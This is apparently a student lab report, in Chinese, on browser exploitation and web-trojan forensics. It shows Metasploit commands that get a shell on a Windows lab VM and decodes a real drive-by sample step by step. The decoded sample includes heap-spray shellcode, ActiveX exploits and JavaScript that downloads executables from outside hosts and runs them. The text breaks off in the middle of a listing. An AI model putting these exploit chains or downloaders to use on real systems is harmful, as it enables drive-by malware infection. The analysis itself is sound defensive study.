20232906 2023-2024-2 《网络与系统攻防技术》第十一次作业
1.实验内容
一、web浏览器渗透攻击
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
二、取证分析实践—网页木马攻击场景分析
①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,
②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到
http://192.168.68.253/scom/hashed/
哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
③如果解密出的地址给出的是网页或脚本文件,请继续解密。
④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。
⑤重复以上过程直到这些文件被全部分析完成。
三、攻防对抗实践—web浏览器渗透攻击攻防
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
2.实验过程
2.1 web浏览器渗透攻击
-
简介:Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。
-
这里我们使用Kali作为攻击机,如图一所示,Kali的IP地址为192.168.1.230。
图一 Kali的IP地址 -
使用Win2kServer作为靶机,如图二所示,靶机IP为192.168.1.135。
图二 Win2kServer的IP地址 -
这里我们使用命令
msfconsole
打开Metasploit,并等待它加载完成。
图三 打开Kali的Metasploit -
然后我们使用 MS06-014 Microsoft Windows MDAC漏洞,使用命令如下:
use exploit/windows/browser/ie_createobject # 将CVE-2006-0003作为目标漏洞 set payload windows/shell/bind_tcp # 设置 Payload 为任意TCP连接 set URIPATH / # 设置 URLPATH 为根路径 exploit # 进行攻击
CVE-2006-0003:RDS 中存在远程代码执行漏洞。作为 ActiveX 数据对象(ADO)的一部分提供的 Dataspace ActiveX 控件,该控件在 MDAC 中分发。 成功利用此漏洞的攻击者可以完全控制受影响的系统。
这一过程的截图如图四所示:
图四 使用MS08-067漏洞利用模块 -
我们将生成的链接
http://192.168.1.230:8080/
复制到靶机中并在浏览器中打开该链接,如图五所示。
图五 靶机中打开钓鱼链接 -
此时在msfconsole中敲一下回车,然后输入命令
sessions -i 1
即可发现成功获得靶机的shell,如图六所示。
图六 成功获取靶机Shell
2.2 取证分析实践—网页木马攻击场景分析
-
首先我们打开
start.html
,并在其中搜索htm
,搜索结果如图七所示,可以发现其中有一个iframe
调用了new09.htm
。HTML 内联框架元素 (<iframe>) 表示嵌套的browsing context。它能够将另一个 HTML 页面嵌入到当前页面中。
图七 start.html调用了new09.htm -
我们进一步打开
new09.htm
,可以发现该网页又通过iframe
调用了网页http://aa.18dd.net/aa/kl.htm
并调用了一个js文件http://js.users.51.la/1299644.js
,如图八所示。
图八 start.html调用了new09.htm -
我们在
cygwin终端
中使用md5sum工具计算两个链接的md5值,命令为:echo -n http://aa.18dd.net/aa/kl.htm|md5sum # -n:不打印换行符,保证md5结果正确 # 结果为7f60672dcd6b5e90b6772545ee219bd3 echo -n http://js.users.51.la/1299644.js|md5sum # -n:不打印换行符,保证md5结果正确 # 结果为23180a42a2ff1192150231b44ffdf3d3
计算结果如图九所示。
图九 计算md5值 -
我们在
hashed
文件夹中寻找,确实存在这两个文件,如图十所示。
图十 找到了两个文件 -
为了方便,我们直接使用
original
中的kl.htm
和1299644.js
进行分析。首先,js文件中只有一段注释,内容为\\本文件内容是流量统计代码,不是木马
,如图十一所示。
图十一 js文件中只有一段注释 -
在
kl.htm
中,我们可以发现一个t变量以及其对应的解密方法,如图十二所示,对t变量,首先使用base64解码,然后再用xxtea解密(密钥为\x73\x63\x72\x69\x70\x74
,转为字符串为script
),最后再将16进制转换成字符串即可。
图十二 t变量及其解密方式 -
我们按照步骤6中分析的流程进行解密,结果如图十三所示:
图十三 解密t变量
-
步骤7得到如下代码,其中涉及了“Adodb.Stream”、“MPS.StormPlayer”、“POWERPLAYER.PowerPlayerCtrl.1”和“BaiduBar.Tool”,分别对应利用了微软数据库访问对象、暴风影音、PPStream 和百度搜霸的漏洞,还引用了三个js文件
http://aa.18dd.net/aa/1.js
、http://aa.18dd.net/aa/b.js
、http://aa.18dd.net/aa/pps.js
和一个Windows压缩包文件http://down.18dd.net/bb/bd.cab
,解压后文件名为bd.exe
。<script> eval("function init(){document.write();} window.onload = init; if (document.cookie.indexOf('OK') == -1) { try { var e; var ado = (document.createElement("object")); ado.setAttribute("classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"); var as = ado.createobject("Adodb.Stream", "") } catch (e) {}; finally { var expires = new Date(); expires.setTime(expires.getTime() + 24 * 60 * 60 * 1000); document.cookie = 'ce=windowsxp;path=/;expires=' + expires.toGMTString(); if (e != "[object Error]") { document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>") } else { try { var f; var storm = new ActiveXObject("MPS.StormPlayer"); } catch (f) {}; finally { if (f != "[object Error]") { document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>") } } try { var g; var pps = new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1"); } catch (g) {}; finally { if (g != "[object Error]") { document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>") } } try { var h; var obj = new ActiveXObject("BaiduBar.Tool"); } catch (h) {}; finally { if (h != "[object Error]") { obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0) } } } } } ") </script>
-
计算四个URL的哈希值如下:
echo -n http://aa.18dd.net/aa/1.js|md5sum # 5d7e9058a857aa2abee820d5473c5fa4 echo -n http://aa.18dd.net/aa/b.js|md5sum # 3870c28cc279d457746b3796a262f166 echo -n http://aa.18dd.net/aa/pps.js|md5sum # 5f0b8bf0385314dbe0e5ec95e6abedc2 echo -n http://down.18dd.net/bb/bd.cab|md5sum # 1c1d7b3539a617517c49eee4120783b2
-
找到对应文件进行进一步分析,首先是
1.js
,解码后可知,这个文件前面部分下载了一个http://down.18dd.net/bb/014.exe
的可执行文件,后面部分继续利用 ADODB 漏洞执行命令cmd.exe .\\ntuser.com
。。eval("\x76\x61\x72\x20\x75\x72\x6c\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x30\x31\x34\x2e\x65\x78\x65\x22\x3b\x74\x72\x79\x7b\x76\x61\x72\x20\x78\x6d\x6c\x3d\x61\x64\x6f\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e\x58\x4d\x4c\x48\x54\x54\x50\x22\x2c\x22\x22\x29\x3b\x78\x6d\x6c\x2e\x4f\x70\x65\x6e\x0d\x0a\x0d\x0a\x28\x22\x47\x45\x54\x22\x2c\x75\x72\x6c\x2c\x30\x29\x3b\x78\x6d\x6c\x2e\x53\x65\x6e\x64\x28\x29\x3b\x61\x73\x2e\x74\x79\x70\x65\x3d\x31\x3b\x61\x73\x2e\x6f\x70\x65\x6e\x28\x29\x3b\x61\x73\x2e\x77\x72\x69\x74\x65\x28\x78\x6d\x6c\x2e\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64\x79\x29\x3b\x70\x61\x74\x68\x3d\x22\x2e\x2e\x5c\x5c\x6e\x74\x75\x73\x65\x72\x2e\x63\x6f\x6d\x22\x3b\x61\x73\x2e\x73\x61\x76\x65\x74\x6f\x66\x69\x6c\x65\x28\x70\x61\x74\x68\x2c\x32\x29\x3b\x61\x73\x2e\x63\x6c\x6f\x73\x65\x0d\x0a\x0d\x0a\x28\x29\x3b\x76\x61\x72\x20\x73\x68\x65\x6c\x6c\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x53\x68\x65\x6c\x6c\x2e\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x22\x2c\x22\x22\x29\x3b\x73\x68\x65\x6c\x6c\x2e\x53\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65\x28\x22\x63\x6d\x64\x2e\x65\x78\x65\x22\x2c\x22\x2f\x63\x20\x22\x2b\x70\x61\x74\x68\x2c\x22\x22\x2c\x22\x6f\x70\x65\x6e\x22\x2c\x30\x29\x7d\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d") // 解码后 var url = "http://down.18dd.net/bb/014.exe"; try { var xml = ado.CreateObject("Microsoft.XMLHTTP", ""); xml.Open("GET", url, 0); xml.Send(); as.type = 1; as.open(); as.write(xml.responseBody); path = "..\\ntuser.com"; as.savetofile(path, 2); as.close(); var shell = ado.createobject("Shell.Application", ""); shell.ShellExecute("cmd.exe", "/c " + path, "", "open", 0) } catch (e) {}
-
然后分析
b.js
文件,该文件进行了js压缩,首先解压缩得到如下内容:eval(function(p, a, c, k, e, d) { e = function(c) { return c }; if (!''.replace(/^/, String)) { while (c--) { d[c] = k[c] || c } k = [function(e) { return d[e] }]; e = function() { return '\\w+' }; c = 1 }; while (c--) { if (k[c]) { p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]) } } return p } ('5 1=29("%10%10");5 26=20;5 14=29("%82%3"+"%81%10%83%84%87%3%86%85"+"%79%78%72%22%71%70%69%73"+"%74%77%17%76%75%88%89%103"+"%17%102%101%104%105%108%107%106"+"%100%99%93%92%25%91%68%94"+"%95%98%97%25%96%109%63%37"+"%31%39%41%40%19%42%43%45"+"%38%3%44%46%35%12%32%22"+"%33%36%34%3%19%67%61%60"+"%59%62%47%66%65%64%58%57"+"%16%24%51%50%49%24%48%16"+"%52%53%56%55%54%90%152%168"+"%167%166%165%110%170%173%12%172"+"%171%164%12%157%156%155%154%158"+"%159%162%161%160%175%185%189%188"+"%187%191%193%195%194%23%192%190"+"%186%179%178%177%176%180%181%184"+"%183%182%174%153%18%11%125%124"+"%15%123%122%126%127%130%21%129"+"%128%121%120%114%18%11%113%112"+"%111%115%116%119%118%117%21%131"+"%132%146%11%144%147%148%151%150%149%143%142%136%23%135%134%133%137%15%3");5 4=26+14.6;13(1.6<4)1+=1;28=1.30(0,4);2=1.30(0,1.6-4);13(2.6+4<138)2=2+2+28;27=141 140();139(7=0;7<169;7++)27[7]=2+14;5 8=\'\';13(8.6<145)8+="\\9\\9\\9\\9";163.80(8)', 10, 196, '|bigblock|block|u0000|slackspace|var|length|x|buffer|x0a|u9090|u0041|u57ff|while|shellcode|u6578|u4320|ufb03|u7972|uc683||u6461|ud88b|u7465|u4343|u468b|headersize|memory|fillblock|unescape|substring|u008b|u5afc|u016a|u0057|u5652|ue859|uc103|u6ae8|uc303|uf78b|ufa8b|u8b0e|u6ad0|u8300|u5904|u0dc6|u5e80|u03c6|u632f|u03c7|u6643|u206a|uff53|u5c03|u04c7|uec57|u646d|u6303|ufa75|u803e|u8046|u3680|u02e1|uc7dc|u8b40|uec83|u5613|ud1c3|u1e74|u8b3c|u738b|u0840|u0378|u8bf3|u3314|u4e8b|u207e|u8bad|u1c70|rawParse|u9000|uf3e9|u5a90|ua164|u8b0c|u408b|u0030|u56ed|u5157|u2e61|u0324|ucd8b|u5e5f|u03e1|u33c1|u031c|u088b|u66c9|u59e9|ue245|u0e6a|uf28b|u3f8b|uf359|u74a6|ufcef|u835f|u5908|uc1c3|u50c0|u6e6f|u6d6c|u7275|u6172|u5500|u4c52|u6f6c|u6e77|u6f44|u6269|u4c64|u7845|u0063|u456e|u6957|u7469|u6854|u616f|u4c00|u6572|u6f54|u6946|u6662|u2f62|u622f|u6e2e|u652e|0x40000|for|Array|new|u6464|u3831|u7468|4068|u656c|u7074|u2f3a|u2e6e|u776f|u642f|uc765|u6f74|uff58|u0040|u2451|u68f0|u33d0|uacc0|u5251|uf975|uc085|storm|u5300|u3300|u0065|u7804|u0344|300|u5350|u6adc|u8bfc|u5056|u6365|u5356|u6547|u0073|u7365|u7264|u5374|u7379|u7269|u446d|u6574|ud2ff|u6441|u33ee|ue2ab|u595a|u636f|uc3c0|u7250|u0ce8|u47ff|uffff'.split('|'), 0, {}))
-
直接对11中的代码分析比较困难,我们走一个捷径,直接将函数执行的结果输出在body标签中,修改代码如下,执行的结果如图十四所示:
<body> <script> const textNode = document.createTextNode(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 1=29("%10%10");5 26=20;5 14=29("%82%3"+"%81%10%83%84%87%3%86%85"+"%79%78%72%22%71%70%69%73"+"%74%77%17%76%75%88%89%103"+"%17%102%101%104%105%108%107%106"+"%100%99%93%92%25%91%68%94"+"%95%98%97%25%96%109%63%37"+"%31%39%41%40%19%42%43%45"+"%38%3%44%46%35%12%32%22"+"%33%36%34%3%19%67%61%60"+"%59%62%47%66%65%64%58%57"+"%16%24%51%50%49%24%48%16"+"%52%53%56%55%54%90%152%168"+"%167%166%165%110%170%173%12%172"+"%171%164%12%157%156%155%154%158"+"%159%162%161%160%175%185%189%188"+"%187%191%193%195%194%23%192%190"+"%186%179%178%177%176%180%181%184"+"%183%182%174%153%18%11%125%124"+"%15%123%122%126%127%130%21%129"+"%128%121%120%114%18%11%113%112"+"%111%115%116%119%118%117%21%131"+"%132%146%11%144%147%148%151%150%149%143%142%136%23%135%134%133%137%15%3");5 4=26+14.6;13(1.6<4)1+=1;28=1.30(0,4);2=1.30(0,1.6-4);13(2.6+4<138)2=2+2+28;27=141 140();139(7=0;7<169;7++)27[7]=2+14;5 8=\'\';13(8.6<145)8+="\\9\\9\\9\\9";163.80(8)',10,196,'|bigblock|block|u0000|slackspace|var|length|x|buffer|x0a|u9090|u0041|u57ff|while|shellcode|u6578|u4320|ufb03|u7972|uc683||u6461|ud88b|u7465|u4343|u468b|headersize|memory|fillblock|unescape|substring|u008b|u5afc|u016a|u0057|u5652|ue859|uc103|u6ae8|uc303|uf78b|ufa8b|u8b0e|u6ad0|u8300|u5904|u0dc6|u5e80|u03c6|u632f|u03c7|u6643|u206a|uff53|u5c03|u04c7|uec57|u646d|u6303|ufa75|u803e|u8046|u3680|u02e1|uc7dc|u8b40|uec83|u5613|ud1c3|u1e74|u8b3c|u738b|u0840|u0378|u8bf3|u3314|u4e8b|u207e|u8bad|u1c70|rawParse|u9000|uf3e9|u5a90|ua164|u8b0c|u408b|u0030|u56ed|u5157|u2e61|u0324|ucd8b|u5e5f|u03e1|u33c1|u031c|u088b|u66c9|u59e9|ue245|u0e6a|uf28b|u3f8b|uf359|u74a6|ufcef|u835f|u5908|uc1c3|u50c0|u6e6f|u6d6c|u7275|u6172|u5500|u4c52|u6f6c|u6e77|u6f44|u6269|u4c64|u7845|u0063|u456e|u6957|u7469|u6854|u616f|u4c00|u6572|u6f54|u6946|u6662|u2f62|u622f|u6e2e|u652e|0x40000|for|Array|new|u6464|u3831|u7468|4068|u656c|u7074|u2f3a|u2e6e|u776f|u642f|uc765|u6f74|uff58|u0040|u2451|u68f0|u33d0|uacc0|u5251|uf975|uc085|storm|u5300|u3300|u0065|u7804|u0344|300|u5350|u6adc|u8bfc|u5056|u6365|u5356|u6547|u0073|u7365|u7264|u5374|u7379|u7269|u446d|u6574|ud2ff|u6441|u33ee|ue2ab|u595a|u636f|uc3c0|u7250|u0ce8|u47ff|uffff'.split('|'),0,{})); document.body.appendChild(textNode); </script> </body>
图十四 输出js函数执行结果
-
我们将12中的结果进行代码格式化,得到如下所示代码:
var bigblock = unescape("%u9090%u9090"); var headersize = 20; var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000"); var slackspace = headersize + shellcode.length; while (bigblock.length < slackspace) bigblock += bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length - slackspace); while (block.length + slackspace < 0x40000) block = block + block + fillblock; memory = new Array(); for (x = 0; x < 300; x++) memory[x] = block + shellcode; var buffer = ''; while (buffer.length < 4068) buffer += "\x0a\x0a\x0a\x0a"; storm.rawParse(buffer)
-
将shellcode变量中的内容使用FreShow解码两次,可以得到图十五的结果,核心部分的为
GetProcAddress、GetSystemDirectoryA、WinExec、ExitThread、LoadLibraryA、urlmon、URLDownloadToFileA、http://down.18dd.net/bb/bf.exe
,可知代码会下载http://down.18dd.net/bb/bf.exe
:
图十五 解码shellcode
-
然后看
pps.js
,我们使用同样的思路将内容输出在网页中,如图十六所示,我们获得了pps.js的真实内容,改写代码如下所示:<body> <script> const textNode = document.createTextNode("\57\52\45\165\66\66\143\71\45\165\60\70\70\142\45\165\64\66\70\142\45\165\60\63\61\143\45\165\143\61\143\63\45\165\60\62\145\61\45\165\143\61\60\63\42\40\53\15\12\42\45\165\60\60\70\142\45\165\143\63\60\63\45\165\146\141\70\142\45\165\146\67\70\142\45\165\143\66\70\63\45\165\70\142\60\145\45\165\66\141\144\60\45\165\65\71\60\64\42\40\53\15\12\42\45\165\66\141\145\70\45\165\60\60\60\60\45\165\70\63\60\60\45\165\60\144\143\66\45\165\65\66\65\62\45\165\65\67\146\146\45\165\65\141\146\143\45\165\144\70\70\142\42\40\53\15\12\42\45\165\60\61\66\141\45\165\145\70\65\71\45\165\60\60\65\67\45\165\60\60\60\60\45\165\143\66\70\63\45\165\65\66\61\63\45\165\70\60\64\66\45\165\70\60\63\145\42\40\53\15\12\42\45\165\146\141\67\65\45\165\63\66\70\60\45\165\65\145\70\60\45\165\145\143\70\63\45\165\70\142\64\60\45\165\143\67\144\143\45\165\66\63\60\63\45\165\66\64\66\144\42\40\53\15\12\42\45\165\64\63\62\60\45\165\64\63\64\63\45\165\66\66\64\63\45\165\60\63\143\67\45\165\66\63\62\146\45\165\64\63\64\63\45\165\60\63\143\66\45\165\64\63\62\60\42\40\53\15\12\42\45\165\62\60\66\141\45\165\146\146\65\63\45\165\145\143\65\67\45\165\52\57\15\12\160\160\163\75\50\144\157\143\165\155\145\156\164\56\143\162\145\141\164\145\105\154\145\155\145\156\164\50\42\157\142\152\145\143\164\42\51\51\73\15\12\160\160\163\56\163\145\164\101\164\164\162\151\142\165\164\145\50\42\143\154\141\163\163\151\144\42\54\42\143\154\163\151\144\72\65\105\103\67\103\65\61\61\55\103\104\60\106\55\64\62\105\66\55\70\63\60\103\55\61\102\104\71\70\70\62\106\63\64\65\70\42\51\15\12\166\141\162\40\163\150\145\154\154\143\157\144\145\40\75\40\165\156\145\163\143\141\160\145\50\42\45\165\146\63\145\71\45\165\60\60\60\60\42\53\15\12\42\45\165\71\60\60\60\45\165\71\60\71\60\45\165\65\141\71\60\45\165\141\61\66\64\45\165\60\60\63\60\45\165\60\60\60\60\45\165\64\60\70\142\45\165\70\142\60\143\42\40\53\15\12\42\45\165\61\143\67\60\45\165\70\142\141\144\45\165\60\70\64\60\45\165\144\70\70\142\45\165\67\63\70\142\45\165\70\142\63\143\45\165\61\145\67\64\45\165\60\63\67\70\42\40\53\15\12\42\45\165\70\142\146\63\45\165\62\60\67\145\45\165\146\142\60\63\45\165\64\145\70\142\45\165\63\63\61\64\45\165\65\66\145\144\45\165\65\61\65\67\45\165\63\146\70\142\42\40\53\15\12\42\45\165\146\142\60\63\45\165\146\62\70\142\45\165\60\145\66\141\45\165\146\63\65\71\45\165\67\64\141\66\45\165\65\71\60\70\45\165\70\63\65\146\45\165\60\64\143\67\42\40\53\15\12\42\45\165\145\62\64\65\45\165\65\71\145\71\45\165\65\145\65\146\45\165\143\144\70\142\45\165\64\66\70\142\45\165\60\63\62\64\45\165\144\61\143\63\45\165\60\63\145\61\42\40\53\15\12\42\45\165\63\63\143\61\45\165\66\66\143\71\45\165\60\70\70\142\45\165\64\66\70\142\45\165\60\63\61\143\45\165\143\61\143\63\45\165\60\62\145\61\45\165\143\61\60\63\42\40\53\15\12\42\45\165\60\60\70\142\45\165\143\63\60\63\45\165\146\141\70\142\45\165\146\67\70\142\45\165\143\66\70\63\45\165\70\142\60\145\45\165\66\141\144\60\45\165\65\71\60\64\42\40\53\15\12\42\45\165\66\141\145\70\45\165\60\60\60\60\45\165\70\63\60\60\45\165\60\144\143\66\45\165\65\66\65\62\45\165\65\67\146\146\45\165\65\141\146\143\45\165\144\70\70\142\42\40\53\15\12\42\45\165\60\61\66\141\45\165\145\70\65\71\45\165\60\60\65\67\45\165\60\60\60\60\45\165\143\66\70\63\45\165\65\66\61\63\45\165\70\60\64\66\45\165\70\60\63\145\42\40\53\15\12\42\45\165\146\141\67\65\45\165\63\66\70\60\45\165\65\145\70\60\45\165\145\143\70\63\45\165\70\142\64\60\45\165\143\67\144\143\45\165\66\63\60\63\45\165\66\64\66\144\42\40\53\15\12\42\45\165\64\63\62\60\45\165\64\63\64\63\45\165\66\66\64\63\45\165\60\63\143\67\45\165\66\63\62\146\45\165\64\63\64\63\45\165\60\63\143\66\45\165\64\63\62\60\42\40\53\15\12\42\45\165\62\60\66\141\45\165\146\146\65\63\45\165\145\143\65\67\45\165\60\64\143\67\45\165\65\143\60\63\45\165\62\145\66\61\45\165\143\67\66\65\45\165\60\63\64\64\42\40\53\15\12\42\45\165\67\70\60\64\45\165\60\60\66\65\45\165\63\63\60\60\45\165\65\60\143\60\45\165\65\63\65\60\45\165\65\60\65\66\45\165\65\67\146\146\45\165\70\142\146\143\42\40\53\15\12\42\45\165\66\141\144\143\45\165\65\63\60\60\45\165\65\67\146\146\45\165\66\70\146\60\45\165\62\64\65\61\45\165\60\60\64\60\45\165\146\146\65\70\45\165\63\63\144\60\42\40\53\15\12\42\45\165\141\143\143\60\45\165\143\60\70\65\45\165\146\71\67\65\45\165\65\62\65\61\45\165\65\63\65\66\45\165\144\62\146\146\45\165\65\71\65\141\45\165\145\62\141\142\42\40\53\15\12\42\45\165\63\63\145\145\45\165\143\63\143\60\45\165\60\143\145\70\45\165\146\146\146\146\45\165\64\67\146\146\45\165\67\64\66\65\45\165\67\62\65\60\45\165\66\63\66\146\42\40\53\15\12\42\45\165\66\64\64\61\45\165\67\62\66\64\45\165\67\63\66\65\45\165\60\60\67\63\45\165\66\65\64\67\45\165\65\63\67\64\45\165\67\63\67\71\45\165\66\65\67\64\42\40\53\15\12\42\45\165\64\64\66\144\45\165\67\62\66\71\45\165\66\63\66\65\45\165\66\146\67\64\45\165\67\71\67\62\45\165\60\60\64\61\45\165\66\71\65\67\45\165\64\65\66\145\42\40\53\15\12\42\45\165\66\65\67\70\45\165\60\60\66\63\45\165\67\70\64\65\45\165\67\64\66\71\45\165\66\70\65\64\45\165\66\65\67\62\45\165\66\64\66\61\45\165\64\143\60\60\42\40\53\15\12\42\45\165\66\61\66\146\45\165\64\143\66\64\45\165\66\62\66\71\45\165\66\61\67\62\45\165\67\71\67\62\45\165\60\60\64\61\45\165\67\62\67\65\45\165\66\144\66\143\42\40\53\15\12\42\45\165\66\145\66\146\45\165\65\65\60\60\45\165\64\143\65\62\45\165\66\146\64\64\45\165\66\145\67\67\45\165\66\146\66\143\45\165\66\64\66\61\45\165\66\146\65\64\42\40\53\15\12\42\45\165\66\71\64\66\45\165\66\65\66\143\45\165\60\60\64\61\45\165\67\64\66\70\45\165\67\60\67\64\45\165\62\146\63\141\45\165\66\64\62\146\45\165\67\67\66\146\45\165\62\145\66\145\45\165\63\70\63\61\45\165\66\64\66\64\45\165\66\145\62\145\45\165\67\64\66\65\45\165\66\62\62\146\45\165\62\146\66\62\45\165\67\60\67\60\45\165\62\145\67\63\45\165\67\70\66\65\45\165\60\60\66\65\42\51\73\15\12\166\141\162\40\142\151\147\142\154\157\143\153\40\75\40\165\156\145\163\143\141\160\145\50\42\45\165\71\60\71\60\45\165\71\60\71\60\42\51\73\15\12\166\141\162\40\150\145\141\144\145\162\163\151\172\145\40\75\40\62\60\73\15\12\166\141\162\40\163\154\141\143\153\163\160\141\143\145\40\75\40\150\145\141\144\145\162\163\151\172\145\53\163\150\145\154\154\143\157\144\145\56\154\145\156\147\164\150\73\15\12\167\150\151\154\145\40\50\142\151\147\142\154\157\143\153\56\154\145\156\147\164\150\74\163\154\141\143\153\163\160\141\143\145\51\40\142\151\147\142\154\157\143\153\53\75\142\151\147\142\154\157\143\153\73\15\12\146\151\154\154\142\154\157\143\153\40\75\40\142\151\147\142\154\157\143\153\56\163\165\142\163\164\162\151\156\147\50\60\54\40\163\154\141\143\153\163\160\141\143\145\51\73\15\12\142\154\157\143\153\40\75\40\142\151\147\142\154\157\143\153\56\163\165\142\163\164\162\151\156\147\50\60\54\40\142\151\147\142\154\157\143\153\56\154\145\156\147\164\150\55\163\154\141\143\153\163\160\141\143\145\51\73\15\12\167\150\151\154\145\50\142\154\157\143\153\56\154\145\156\147\164\150\53\163\154\141\143\153\163\160\141\143\145\74\60\170\64\60\60\60\60\51\40\142\154\157\143\153\40\75\40\142\154\157\143\153\53\142\154\157\143\153\53\146\151\154\154\142\154\157\143\153\73\15\12\155\145\155\157\162\171\40\75\40\156\145\167\40\101\162\162\141\171\50\51\73\15\12\146\157\162\40\50\170\75\60\73\40\170\74\64\60\60\73\40\170\53\53\51\40\155\145\155\157\162\171\133\170\135\40\75\40\142\154\157\143\153\40\53\40\163\150\145\154\154\143\157\144\145\73\15\12\166\141\162\40\142\165\146\146\145\162\40\75\40\47\47\73\15\12\167\150\151\154\145\40\50\142\165\146\146\145\162\56\154\145\156\147\164\150\40\74\40\65\60\60\51\40\142\165\146\146\145\162\53\75\42\134\170\60\141\134\170\60\141\134\170\60\141\134\170\60\141\42\73\15\12\160\160\163\56\114\157\147\157\40\75\40\142\165\146\146\145\162\15\12"); document.body.appendChild(textNode); </script> </body>
图十六 输出js函数执行结果
-
将得到的代码其格式化后内容为:
/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u*/ pps = (document.createElement("object")); pps.setAttribute("classid", "clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458") var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" 